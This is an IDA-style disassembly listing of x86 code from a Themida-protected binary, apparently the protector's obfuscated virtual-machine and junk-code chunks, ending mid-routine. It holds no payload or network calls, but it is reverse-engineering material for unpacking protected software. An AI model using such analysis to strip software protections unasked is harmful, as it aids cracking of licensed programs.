		sub	al, cl
		add	al, 0F9h
		mov	cx, [esp]
		add	esp, 2
		add	al, bl
		push	ebx
		mov	bl, 36h
		xor	bl, 34h
		add	bl, 70h
		sub	bl, 0A5h
		add	bl, 95h
		shl	bl, 5
		jmp	loc_55571A
; ---------------------------------------------------------------------------
		add	edx, 4
		jmp	loc_553533
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5543FB:				; CODE XREF: sub_559C84+21B9j
		mov	edi, [esp-18h+arg_14]
		push	ebx
		jmp	loc_55E72F
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_554404	proc near		; CODE XREF: sub_559C84+989j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55C0D0
sub_554404	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554415:				; CODE XREF: sub_559C84+18F1j
		push	4FD4h
		mov	[esp-10h+arg_C], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-10h+arg_C]
		pop	esp
		xchg	ebx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		shl	byte ptr [esp-14h+arg_10], cl
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55443B:				; CODE XREF: Themida_:0055F43Bj
		xor	ebx, [esp]
		jmp	loc_555915
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554452:				; CODE XREF: sub_559C84-36B1j
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		jmp	loc_556A2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55445E:				; CODE XREF: sub_559C84+53E4j
		push	5516h
		mov	[esp-10h+arg_C], edi
		mov	edi, 1Ch
		mov	eax, edi
		pop	edi
		sub	eax, 539A45AAh
		add	eax, edi
		add	eax, 539A45AAh
		mov	ecx, [eax]
		push	[esp-14h+arg_10]
		mov	eax, [esp-10h+arg_C]
		push	0C40h
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_55BE9E
; ---------------------------------------------------------------------------


loc_55448F:				; CODE XREF: sub_559C84+384Cj
		not	ecx
		shl	ecx, 1
		and	ecx, 55F92A04h
		shr	ecx, 7
		jmp	loc_5599EA
; ---------------------------------------------------------------------------


loc_5544A1:				; CODE XREF: sub_559C84-6461j
		mov	ebp, edx
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		add	ebp, 5A0E097Ch
		add	ebp, 59A25848h
		jmp	loc_558DD9
; ---------------------------------------------------------------------------


loc_5544BA:				; CODE XREF: sub_559C84-41Ej
		mov	ecx, 7EFE4EBBh
		dec	ecx
		or	ecx, 5ABA0FFFh
		inc	ecx
		shl	ecx, 2
		neg	ecx
		jmp	loc_55C486
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5544D1:				; CODE XREF: Themida_:00553AD5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_553C59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5544FB:				; CODE XREF: sub_559C84+30A6j
		sub	edx, 7CF119A6h
		add	edx, edi
		push	edi
		jmp	loc_555A01
; ---------------------------------------------------------------------------


loc_554509:				; CODE XREF: sub_559C84+2C35j
		mov	[esp+30h+var_30], edx
		mov	dl, 0D5h
		add	bl, 0BEh
		push	edx
		jmp	loc_55596C
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_554517	proc near		; DATA XREF: Themida_:0055346Co

; FUNCTION CHUNK AT 00559795 SIZE 00000008 BYTES

		push	esi
		mov	esi, 1
		jmp	loc_559795
sub_554517	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554522:				; CODE XREF: sub_559C84+18E8j
		mov	al, dl
		pop	edx
		jmp	loc_55E0D9
; ---------------------------------------------------------------------------


loc_55452A:				; CODE XREF: sub_559C84+1243j
		mov	al, bh
		jmp	loc_555C71
; ---------------------------------------------------------------------------


loc_554531:				; CODE XREF: sub_559C84-3263j
		pop	dword ptr [edi+40h]
		push	esi
		sub	esp, 4
		jmp	loc_557309
; ---------------------------------------------------------------------------


loc_554540:				; CODE XREF: sub_559C84-17A4j
		mov	word ptr [esp+34h+var_34], dx
		mov	dh, 1Ah
		jmp	loc_55491D
; ---------------------------------------------------------------------------


loc_55454B:				; CODE XREF: sub_559C84+197Bj
		pop	esp
		add	al, ch
		jmp	loc_55580F
; ---------------------------------------------------------------------------


loc_554553:				; CODE XREF: sub_559C84+2774j
		push	[esp+30h+var_30]
		jmp	loc_5545CD
; ---------------------------------------------------------------------------


loc_55455B:				; CODE XREF: sub_559C84-5F31j
		shr	ecx, 6
		push	5E62h
		mov	[esp+1Ch+var_1C], ebx
		push	edi
		sub	esp, 4
		mov	[esp+24h+var_24], esi
		jmp	loc_55F752
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_554572	proc near		; CODE XREF: sub_559C84+319Fj

arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 00554835 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00558924 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055EBE5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055ECE9 SIZE 00000017 BYTES

		push	ebx
		mov	ebx, 2
		jmp	loc_55ECE9
sub_554572	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55457D:				; CODE XREF: sub_559C84-4F69j
		add	[esp+24h+var_20], ecx
		pop	ecx
		sub	[esp+20h+var_20], 37747E56h
		add	[esp+20h+var_20], eax
		jmp	loc_55C23C
; ---------------------------------------------------------------------------


loc_554591:				; CODE XREF: sub_559C84-510Dj
		xor	edi, eax
		xor	eax, edi
		jmp	loc_5570D0
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55459A:				; CODE XREF: Themida_:00559BE6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55A964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5545AD:				; CODE XREF: sub_559C84+3964j
		dec	eax
		neg	eax
		not	eax
		xor	eax, 76FD5964h
		add	ecx, eax
		pop	eax
		push	edx
		mov	edx, 4
		sub	ecx, 6A7041B4h
		add	ecx, edx
		jmp	sub_55991D
; ---------------------------------------------------------------------------


loc_5545CD:				; CODE XREF: sub_559C84-572Ej
		mov	eax, [esp+34h+var_34]
		jmp	loc_55D656
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5545D5:				; CODE XREF: Themida_:00555102j
		xchg	ax, bx
		xchg	ax, [esp]
		mov	dx, [esp]
		jmp	loc_55DA1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5545E4:				; CODE XREF: sub_559C84-2274j
		mov	eax, [esp+34h+var_34]
		push	0EA5h
		mov	[esp+38h+var_3A+2], edi
		push	esp
		pop	edi
		add	edi, 4
		push	0EBBh
		mov	[esp+3Ch+var_3E+2], ebx
		push	ecx
		mov	ecx, 25312DFCh
		add	ecx, 758229FCh
		jmp	loc_55D3ED
; ---------------------------------------------------------------------------


loc_554610:				; CODE XREF: sub_559C84+5EDCj
		pop	edx
		jmp	loc_559DEF
; ---------------------------------------------------------------------------


loc_554616:				; CODE XREF: sub_559C84-3B1Bj
		pop	ebx
		xchg	esi, [esp+38h+var_3A+2]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp+38h+var_3A+2]
		pop	eax
		push	48D8h
		mov	[esp+3Ch+var_3E+2], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 17C327FFh
		and	edi, 0E261309h
		sub	edi, 7D8C0019h
		jmp	loc_55378A
; ---------------------------------------------------------------------------


loc_554643:				; CODE XREF: sub_559C84+1144j
		pop	ebp
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		sub	eax, 1AEE36D4h
		neg	eax
		xor	eax, 0B509EA90h
		add	edi, eax
		pop	eax
		push	edx
		push	48B6h
		mov	[esp+40h+var_42+2], eax
		mov	eax, 49C6579Fh
		not	eax
		add	eax, 49C657A2h
		push	eax
		xor	[esp+44h+var_46+2], 5E4B1DC2h
		jmp	loc_553DB5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E26B


loc_554679:				; CODE XREF: sub_55E26B-A01Fj
		mov	edx, [esp+8+var_8]
		jmp	loc_55B742
; END OF FUNCTION CHUNK	FOR sub_55E26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554681:				; CODE XREF: sub_559C84+2447j
		sub	eax, ecx
		pop	ecx
		add	ecx, eax
		pop	eax
		jmp	loc_55ACDA
; ---------------------------------------------------------------------------


loc_55468C:				; CODE XREF: sub_559C84+1549j
		shl	ecx, 4
		add	ecx, 209562DFh
		mov	ebx, ecx
		jmp	loc_55F11A
; ---------------------------------------------------------------------------


loc_55469C:				; CODE XREF: sub_559C84+40B4j
		or	esi, 7CAA2CDEh
		jmp	loc_553B7B
; ---------------------------------------------------------------------------


loc_5546A7:				; CODE XREF: sub_559C84-184Ej
		push	3859h
		mov	[esp+40h+var_42+2], ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55537E
; ---------------------------------------------------------------------------


loc_5546BC:				; CODE XREF: sub_559C84+4215j
		mov	ebp, edi
		pop	edi
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		push	[esp+34h+var_34]
		pop	eax
		push	2364h
		mov	[esp+38h+var_3A+2], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 0B257D9Dh
		push	607h
		mov	[esp+40h+var_42+2], ebx
		not	[esp+40h+var_42+2]
		pop	ebx
		sub	ebx, 1
		jmp	loc_55641B
; ---------------------------------------------------------------------------


loc_5546F0:				; CODE XREF: sub_559C84+49B7j
		mov	edi, 2AEC7804h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		or	edi, 12ED7F46h
		jmp	loc_55E87C
; ---------------------------------------------------------------------------


loc_554706:				; CODE XREF: sub_559C84-CB8j
		mov	[esp+3Ch+var_3E+2], ebx
		jmp	sub_555531
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55470E:				; CODE XREF: Themida_:00555916j
		mov	[esp], esp
		push	1FDBh
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_557176
; ---------------------------------------------------------------------------


loc_554723:				; CODE XREF: Themida_:005569D8j
		not	dword ptr [esp]
		jmp	loc_55FBB9
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 49h
		add	al, 9Eh
		add	al, bl
		sub	al, 9Eh
		push	edx
		push	ax
		mov	ah, 0FAh
		add	ah, 0FFh
		shr	ah, 1
		sub	ah, 0FBh
		jmp	loc_55F8B9
; ---------------------------------------------------------------------------


loc_554746:				; DATA XREF: Themida_:00553284o
		push	dword ptr [esp]
		pop	ecx
		push	7359h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		push	ebx
		jmp	loc_55E951
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55475B:				; CODE XREF: sub_559C84+399Ej
		pop	ecx
		push	esi
		push	[esp+3Ch+var_3A+2]
		pop	esi
		pop	[esp+3Ch+var_3E+2]
		pop	esp
		push	60AAh
		mov	[esp+38h+var_3A+2], eax
		push	edx
		jmp	loc_556A16
; ---------------------------------------------------------------------------


loc_554774:				; CODE XREF: sub_559C84+2AC5j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_555B71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FA73


loc_55478A:				; CODE XREF: sub_55FA73+Ej
		push	edi
		jmp	loc_55DACE
; END OF FUNCTION CHUNK	FOR sub_55FA73

; =============== S U B	R O U T	I N E =======================================



sub_554790	proc near		; DATA XREF: Themida_:005534BCo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005538AD SIZE 0000000C BYTES

		mov	ax, [esp+0]
		push	57CBh
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_5538AD
sub_554790	endp

; ---------------------------------------------------------------------------


loc_5547A3:				; CODE XREF: Themida_:00555967j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_556E0B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5547B0	proc near		; CODE XREF: sub_559C84+1E6Aj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005551CB SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00556C4E SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5551CB
sub_5547B0	endp

; ---------------------------------------------------------------------------


loc_5547B9:				; CODE XREF: Themida_:00553A48j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55B00F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5547DA:				; CODE XREF: sub_559C84-3638j
		mov	cl, 0EAh
		shr	cl, 2
		sub	cl, 47h
		sub	cl, 0FCh
		not	cl
		and	cl, 6Bh
		jmp	loc_55EB83
; ---------------------------------------------------------------------------


loc_5547EF:				; CODE XREF: sub_559C84-45Aj
		add	ebx, 0A5309FAh
		push	esi
		mov	esi, 2FA8683Eh
		shr	esi, 1
		or	esi, 324912B8h
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		jmp	loc_55F4B8
; ---------------------------------------------------------------------------


loc_55480E:				; CODE XREF: sub_559C84-62FCj
		add	al, 0AFh
		xor	al, 2
		add	bl, 0B5h
		add	bl, al
		sub	bl, 0B5h
		jmp	loc_559470
; ---------------------------------------------------------------------------


loc_55481F:				; CODE XREF: sub_559C84+432Fj
		pop	esi
		add	edx, edi
		add	eax, [edx]
		push	[esp+48h+var_4A+2]
		pop	edx
		push	696Ah
		mov	[esp+4Ch+var_4E+2], edx
		jmp	loc_554EA1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554572


loc_554835:				; CODE XREF: sub_554572+A789j
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		mov	ax, [esp-8+arg_4]
		push	72A6h
		mov	[esp-4+arg_0], esi
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	esi
		add	esi, 4
		jmp	loc_558924
; END OF FUNCTION CHUNK	FOR sub_554572
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556F29


loc_55485C:				; CODE XREF: sub_556F29+8442j
		shl	ebx, 8
		dec	ebx
		jmp	loc_55C72B
; END OF FUNCTION CHUNK	FOR sub_556F29
; ---------------------------------------------------------------------------


loc_554865:				; CODE XREF: Themida_:0055FBBAj
		xchg	edx, edi
		jmp	loc_55488A
; ---------------------------------------------------------------------------


loc_55486C:				; CODE XREF: Themida_:00555EAFj
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554884:				; CODE XREF: sub_559C84-B0Dj
		pop	esi
		jmp	loc_55D2A7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55488A:				; CODE XREF: Themida_:00554867j
		push	0
		sub	[esp], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E751
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5548A0:				; CODE XREF: sub_559C84+1C1j
		add	ebx, 4
		jmp	loc_55A8C1
; ---------------------------------------------------------------------------


loc_5548AB:				; CODE XREF: sub_559C84-2AC7j
		and	ebx, 1CD9482Dh
		jmp	loc_557062
; ---------------------------------------------------------------------------


loc_5548B6:				; CODE XREF: sub_559C84+3DC0j
		sub	ebx, 0ADD7B96h
		add	ebx, edi
		add	ebx, 0ADD7B96h
		sub	ebx, 2A2655ABh
		push	dword ptr [ebx]
		push	edx
		mov	edx, 76BF0F52h
		xor	[esp+50h+var_4E+2], edx
		pop	edx
		jmp	loc_55C831
; ---------------------------------------------------------------------------


loc_5548DC:				; CODE XREF: sub_559C84+983j
		push	[esp+4Ch+var_4E+2]
		push	[esp+50h+var_52+2]
		pop	ebp
		add	esp, 4
		jmp	sub_55702F
; ---------------------------------------------------------------------------


loc_5548EB:				; CODE XREF: sub_559C84+590Dj
		dec	edx
		xor	edx, 584F0E3h
		add	ebx, 0F4B12A1h
		jmp	loc_559469
; ---------------------------------------------------------------------------


loc_5548FD:				; CODE XREF: sub_559C84+160Dj
		add	edx, 0FDBBD4C3h
		mov	edi, edx
		jmp	loc_554B6D
; ---------------------------------------------------------------------------


loc_55490A:				; CODE XREF: sub_559C84+9A7j
		sub	ecx, 4
		xchg	ecx, [esp+4Ch+var_4E+2]
		pop	esp
		jmp	loc_55F082
; ---------------------------------------------------------------------------


loc_554916:				; CODE XREF: sub_559C84-5FC3j
		xor	ebx, esi
		jmp	loc_553EF3
; ---------------------------------------------------------------------------


loc_55491D:				; CODE XREF: sub_559C84-573Ej
		push	edx
		jmp	loc_55D74F
; ---------------------------------------------------------------------------


loc_554923:				; CODE XREF: sub_559C84-51DBj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_55DCE1
; ---------------------------------------------------------------------------


loc_554932:				; CODE XREF: sub_559C84-2685j
		pop	esp
		mov	word ptr [esp+38h+var_3A+2], dx
		push	ax
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_55493F:				; CODE XREF: sub_555BE3+817Fj
		mov	esp, [esp+4+var_4]
		mov	ax, [esp-8+arg_4]
		push	669Fh
		mov	[esp-4+arg_0], edi
		push	5065h
		mov	[esp+0], esp
		jmp	loc_55634B
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55495B:				; CODE XREF: sub_559C84+2A4Aj
		push	[esp+3Eh+var_3E]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ebp
		mov	ebp, esp
		jmp	loc_55C162
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55496A:				; CODE XREF: Themida_:0055FA30j
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55496F:				; CODE XREF: sub_559C84-2B65j
		add	al, 0C7h
		sub	al, dh
		jmp	loc_55C8BE
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_553DAA
; ---------------------------------------------------------------------------


loc_554981:				; CODE XREF: Themida_:00556E90j
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55F705
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5549A7:				; CODE XREF: sub_559C84-4E6j
		mov	ecx, [esp+46h+var_46]
		jmp	loc_55A9B6
; ---------------------------------------------------------------------------


loc_5549AF:				; CODE XREF: sub_559C84+31B0j
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		add	edx, 296C7ECCh
		jmp	loc_5555A7
; ---------------------------------------------------------------------------


loc_5549C3:				; CODE XREF: sub_559C84+281Cj
		sub	eax, 356C46BEh
		add	eax, 582A5C22h
		sub	eax, 7EE17301h
		sub	eax, ebx
		push	1198h
		mov	[esp+46h+var_46], ecx
		mov	ecx, 7EE17301h
		add	eax, ecx
		mov	ecx, [esp+46h+var_46]
		push	ebx
		jmp	loc_55F518
; ---------------------------------------------------------------------------


loc_5549EC:				; CODE XREF: sub_559C84+30E8j
		pop	ecx
		jmp	loc_559542
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		dw 0D800h
; ---------------------------------------------------------------------------
		add	al, 24h
		sub	al, 25h
		jmp	loc_55D507
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5549FD:				; CODE XREF: sub_559C84+2BA8j
		xor	ecx, 14951956h
		jmp	loc_5595AC
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554A08:				; CODE XREF: Themida_:00556925j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_554A0D:				; DATA XREF: Themida_:0055325Co
		push	dword ptr [esp]
		jmp	loc_559746
; ---------------------------------------------------------------------------
		push	1B8Bh
		mov	[esp], ebx
		jmp	loc_55848A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554A22:				; CODE XREF: sub_559C84-4E6Ej
		add	cl, 86h
		sub	cl, 0E5h
		jmp	loc_554ED8
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dh, 7Ch
		push	edx
		mov	dl, 0B3h
		not	dl
		jmp	loc_556035
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55AF12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554A69:				; CODE XREF: sub_559C84-2AF2j
		push	ecx
		push	edx
		jmp	loc_557134
; ---------------------------------------------------------------------------


loc_554A70:				; CODE XREF: sub_559C84+271Ej
		shl	dl, 5
		jmp	loc_55632A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_55D634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554A87:				; CODE XREF: sub_559C84+F89j
		sub	bl, ah
		sub	bl, 39h
		push	[esp+4Eh+var_4E]
		pop	eax
		jmp	loc_55DD4C
; ---------------------------------------------------------------------------


loc_554A95:				; CODE XREF: sub_559C84+352Aj
		push	edx
		mov	edx, 1B455BF8h
		jmp	loc_5575F0
; ---------------------------------------------------------------------------


loc_554AA0:				; CODE XREF: sub_559C84+3B09j
		pop	esp
		and	eax, ecx
		mov	ecx, [esp+4Eh+var_4E]
		add	esp, 4
		jmp	loc_554923
; ---------------------------------------------------------------------------


loc_554AAE:				; CODE XREF: sub_559C84-404j
		dec	edx
		push	eax
		mov	eax, 664169D6h
		xor	edx, eax
		pop	eax
		jmp	loc_5582B8
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559B47


loc_554ABD:				; CODE XREF: sub_559B47+1j
		mov	bx, 0B23h
		xor	bx, 46A3h
		sub	bx, 288Fh
		jmp	sub_558B94
; END OF FUNCTION CHUNK	FOR sub_559B47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554AD0:				; CODE XREF: sub_559C84+1A67j
		pop	[esp+4Ah+var_4A]
		jmp	loc_55E035
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554AD8:				; CODE XREF: Themida_:00554DF0j
		xor	edx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554AE8:				; CODE XREF: sub_559C84+4D03j
		xchg	edi, [esp+46h+var_46]
		pop	esp
		push	ebp
		jmp	loc_55AE24
; ---------------------------------------------------------------------------


loc_554AF2:				; CODE XREF: sub_559C84-32FBj
		pop	ecx
		jmp	loc_553960
; ---------------------------------------------------------------------------


loc_554AF8:				; CODE XREF: sub_559C84+14E3j
		add	al, 0F2h
		jmp	loc_55F72D
; ---------------------------------------------------------------------------


loc_554AFF:				; CODE XREF: sub_559C84+145Bj
		xor	ebp, 4AA96FB4h
		mov	eax, ebp
		jmp	loc_55B9C7
; ---------------------------------------------------------------------------


loc_554B0C:				; CODE XREF: sub_559C84+351Ej
		xor	edi, [esp+42h+var_42]
		pop	esp
		div	ecx
		push	ebx
		push	0AD5h
		jmp	loc_557711
; ---------------------------------------------------------------------------


loc_554B1D:				; CODE XREF: sub_559C84+245Fj
		mov	[esp+46h+var_46], edx
		jmp	loc_557161
; ---------------------------------------------------------------------------


loc_554B25:				; CODE XREF: sub_559C84-2642j
		xor	[esp+46h+var_46], edx
		jmp	loc_556312
; ---------------------------------------------------------------------------


loc_554B2D:				; CODE XREF: sub_559C84+2A1Cj
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_554B32:				; CODE XREF: sub_559C84-406Ej
		sub	esi, edi
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		push	1434h
		mov	[esp+46h+var_46], esi
		pop	edx
		mov	esi, [esp+42h+var_42]
		add	esp, 4
		or	ecx, ecx
		jz	loc_555B5C
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	2A09h
		mov	[esp+46h+var_46], ebx
		jmp	loc_55BFDD
; ---------------------------------------------------------------------------


loc_554B6D:				; CODE XREF: sub_559C84-537Fj
		pop	edx
		sub	edi, 0E2F34A4h
		xchg	eax, edi
		not	eax
		jmp	loc_554591
; ---------------------------------------------------------------------------


loc_554B7C:				; CODE XREF: sub_559C84+3089j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+48h+var_4A+2]
		jmp	loc_555B98
; ---------------------------------------------------------------------------


loc_554B9F:				; CODE XREF: sub_559C84-2943j
		push	cx
		jmp	loc_556F8F
; ---------------------------------------------------------------------------


loc_554BA6:				; CODE XREF: sub_559C84-327Fj
		sub	edx, 2E3E36C2h
		or	edx, 57CF1307h
		jmp	loc_559E25
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5599A2


loc_554BB7:				; CODE XREF: sub_5599A2-3335j
		push	eax
		mov	eax, 73DC3C75h
		mov	ecx, 4FA4FC47h
		add	ecx, eax
		pop	eax
		sub	edx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_55A8DF
; END OF FUNCTION CHUNK	FOR sub_5599A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554BDD:				; CODE XREF: sub_559C84+9F1j
		pop	eax
		add	edi, ebx
		push	edx
		mov	edx, 67E70C28h
		sub	edi, edx
		jmp	loc_55ABA2
; ---------------------------------------------------------------------------


loc_554BED:				; CODE XREF: sub_559C84+2330j
		push	ecx
		mov	ecx, 17EF449Eh
		add	ecx, 720D52ECh
		and	ecx, 7CC61A82h
		and	ecx, 65BC2335h
		xor	ecx, 840204h
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+4Ah+var_4A]
		pop	esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+46h+var_46]
		jmp	loc_555936
; ---------------------------------------------------------------------------


loc_554C2B:				; CODE XREF: sub_559C84+75Cj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_55DB42
; ---------------------------------------------------------------------------


loc_554C3A:				; CODE XREF: sub_559C84+3318j
		push	eax
		jmp	loc_55AC08
; ---------------------------------------------------------------------------


loc_554C40:				; CODE XREF: sub_559C84+4C15j
		xor	eax, [esp+52h+var_52]
		xor	[esp+52h+var_52], eax
		jmp	loc_5555FB
; ---------------------------------------------------------------------------


loc_554C4B:				; CODE XREF: sub_559C84-3D47j
		pop	bx
		push	ebx
		mov	bl, 5
		shl	bl, 4
		add	bl, 6Ch
		jmp	loc_5539C9
; ---------------------------------------------------------------------------


loc_554C5B:				; CODE XREF: sub_559C84+36E7j
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
